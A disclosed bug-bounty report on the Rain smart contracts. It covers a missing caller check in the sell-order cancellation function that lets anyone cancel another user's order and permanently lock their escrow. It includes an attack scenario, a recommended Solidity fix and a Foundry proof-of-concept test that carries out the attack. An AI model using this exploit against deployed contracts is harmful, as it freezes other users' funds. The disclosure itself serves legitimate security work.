Rain Disclosed Report

https://github.com/hackenproof-public/rain-contracts

Vulnerability Details

The cancelSellOrders function, via its internal counterpart _cancelSellOrder, fails to verify that the caller (msg.sender) is the original creator of the sell order being cancelled. This critical omission is compounded by a second flaw: after removing the order, the function incorrectly updates the caller's vote escrow balance (userVotesInEscrow[option][caller]) and active order count, instead of the actual seller's.

This creates a functional asymmetry with the buy-side cancellation logic (_cancelBuyOrder), which correctly validates that the caller is the order's original placer before proceeding with removal and refund. The sell-side logic, by contrast, trusts the caller and misapplies the state changes, allowing any user to cancel another's order and corrupt their escrow accounting.

Impact & Attack Scenario

The vulnerability allows for both permanent fund freezing and griefing attacks that disrupt order book liquidity. An attacker can remove any user's sell order, causing the victim's underlying votes to become permanently locked in escrow and blocking them from ever claiming their winnings.

Attack Scenario:

1. Setup: The attacker needs to have at least as many votes in their own sell escrow as the victim's order they intend to cancel. This is required to prevent an arithmetic underflow when the contract incorrectly subtracts the victim's order amount from the attacker's escrow balance. The attacker can achieve this by placing their own legitimate sell order.
2. Targeting: The attacker identifies a victim's active sell order. All order details (option, price, ID) are publicly available via the PlaceSellOrder event.
3. Execution: The attacker calls cancelSellOrders with the victim's order details.
4. Immediate Impact:
   • The contract removes the victim’s sell order from the order book.
   • The contract incorrectly decrements the attacker's userVotesInEscrow balance by the amount of the victim's order.
   • The victim's userVotesInEscrow balance remains unchanged (still locked).
5. Delayed Impact (Permanent Fund Freeze):
   • The victim's order is now gone, so they cannot call cancelSellOrders themselves to release their escrowed votes.
   • If the victim's option is later chosen as the winner, their attempt to call claim() will fail and revert, because the claim() function requires userVotesInEscrow to be zero for the winning option.
   • With no way to release the locked escrow, the victim is permanently blocked from claiming their rightful share of the prize pool.

Recommendation

Enforce caller authenticity in _cancelSellOrder and ensure state updates are applied to the correct user (the order's original seller). This can be achieved by mirroring the robust checks already present in the buy-side cancellation function.

Modify the _cancelSellOrder function as follows:

1. Add a requirement to verify that the caller is the sellerAddress.
2. Change the state updates for userActiveSellOrders and userVotesInEscrow to apply to the sellerAddress, not the caller.

function _cancelSellOrder(
    uint256 option,
    uint256 price,
    uint256 orderID,
    address caller
) private {
    // ... (initial checks remain the same)

    LinkedListStorage.LinkedList storage linkedList = sellOrders[option][
        price
    ];
    // ...

    int256 nodeIndex = orderBook[option][price][orderID].index;
    address sellerAddress = LinkedListLogic.getMaker(linkedList, nodeIndex);
    uint256 orderAmount = LinkedListLogic.getAmount(linkedList, nodeIndex);

    // RECOMMENDED FIX: Add authenticity check
    if (caller != sellerAddress) {
        _revert(CallerNotOrderPlacer.selector);
    }

    linkedList.remove(nodeIndex);
    orderBook[option][price][orderID].exists = false;
    orderBook[option][price][orderID].index = 0;

    // RECOMMENDED FIX: Update seller's accounting, not caller's
    userActiveSellOrders[sellerAddress]--;
    userVotesInEscrow[option][sellerAddress] -= orderAmount;

    ++ordersRemoved;

    emit CancelSellOrder(
        option,
        orderAmount,
        price,
        orderID,
        sellerAddress
    );
}

I create a PoC to prove this issue and how an attacker can DoS and steal freeze evertyhing for an user

 function test_PoC_SellCancel_MissingAuthenticity_LocksVictimEscrow() public {
        uint256 option = 1;
        uint256 tick = rainPool.TICK_SPACING();
        uint256 p1 = tick * 5;           // 0.05 ether
        uint256 p2 = 99 * tick;          // 0.99 ether (won't be matched by currentPrice)

        // Warp to live sale
        vm.warp(rainPool.startTime() + 1);

        // Attacker is a random user (not owner) – acquire votes first to avoid matching victim later
        address attacker = makeAddr("attacker");
        uint256 attackerAmount = 2_000_000; // fund attacker to acquire votes
        deal(address(baseToken), attacker, attackerAmount);
        vm.startPrank(attacker);
        baseToken.approve(address(rainPool), attackerAmount);
        rainPool.enterOption(option, attackerAmount);
        vm.stopPrank();

        // Attacker places sell at p2 and escrows votes
        uint256 attackerVotesTotal = rainPool.userVotes(option, attacker);
        uint256 attackerVotesToSell = attackerVotesTotal / 5; // ample escrow
        if (attackerVotesToSell < 2) attackerVotesToSell = 2;

        vm.startPrank(attacker);
        uint256 attackerOrderId = rainPool.placeSellOrder(option, p2, attackerVotesToSell);
        vm.stopPrank();
        (attackerOrderId);

        uint256 attackerEscrowBefore = rainPool.userVotesInEscrow(option, attacker);

        // Victim acquires votes via market entry AFTER attacker has placed sell, so attacker won't auto-take victim
        address victim = addr1;
        uint256 victimAmount = 200_000; // base units (0.2 token)
        deal(address(baseToken), victim, victimAmount);
        vm.startPrank(victim);
        baseToken.approve(address(rainPool), victimAmount);
        rainPool.enterOption(option, victimAmount);
        vm.stopPrank();

        // Determine a safe number of votes to list (>=2 to pass internal check) – less than attacker escrow
        uint256 victimVotesTotal = rainPool.userVotes(option, victim);
        uint256 victimVotesToSell = victimVotesTotal / 4;
        if (victimVotesToSell < 2) victimVotesToSell = 2;
        if (victimVotesToSell > attackerEscrowBefore) victimVotesToSell = attackerEscrowBefore;

        // Victim places a sell order at p1, locking escrow
        vm.startPrank(victim);
        uint256 victimOrderId = rainPool.placeSellOrder(option, p1, victimVotesToSell);
        vm.stopPrank();
        assertEq(rainPool.userVotesInEscrow(option, victim), victimVotesToSell, "victim escrow not set");

        // Attacker cancels the victim's order (BUG: no authenticity check; escrow/accounting applied to attacker)
        uint256[] memory opts = new uint256[](1);
        uint256[] memory prices = new uint256[](1);
        uint256[] memory ids = new uint256[](1);
        opts[0] = option; prices[0] = p1; ids[0] = victimOrderId;

        vm.startPrank(attacker);
        rainPool.cancelSellOrders(opts, prices, ids);
        vm.stopPrank();

        // Victim's escrow remains locked; attacker’s escrow decreased instead
        assertEq(rainPool.userVotesInEscrow(option, victim), victimVotesToSell, "victim escrow should remain locked");
        assertEq(
            rainPool.userVotesInEscrow(option, attacker),
            attackerEscrowBefore - victimVotesToSell,
            "attacker escrow decreased incorrectly"
        );

        // Victim cannot cancel (order removed), proving irrecoverable state
        vm.startPrank(victim);
        vm.expectRevert(IRainPool.OrderDoesNotExist.selector);
        rainPool.cancelSellOrders(opts, prices, ids);
        vm.stopPrank();

        // Finalize and set winner = victim's option, then claim should revert due to lingering escrow
        vm.warp(rainPool.endTime() + 1);
        rainPool.closePool();
        vm.prank(resolverPool);
        rainPool.chooseWinner(option);

        vm.warp(rainPool.endTime() + 61 minutes);
        vm.startPrank(victim);
        vm.expectRevert(IRainPool.UserSellOrderExist.selector);
        rainPool.claim();
        vm.stopPrank();
    }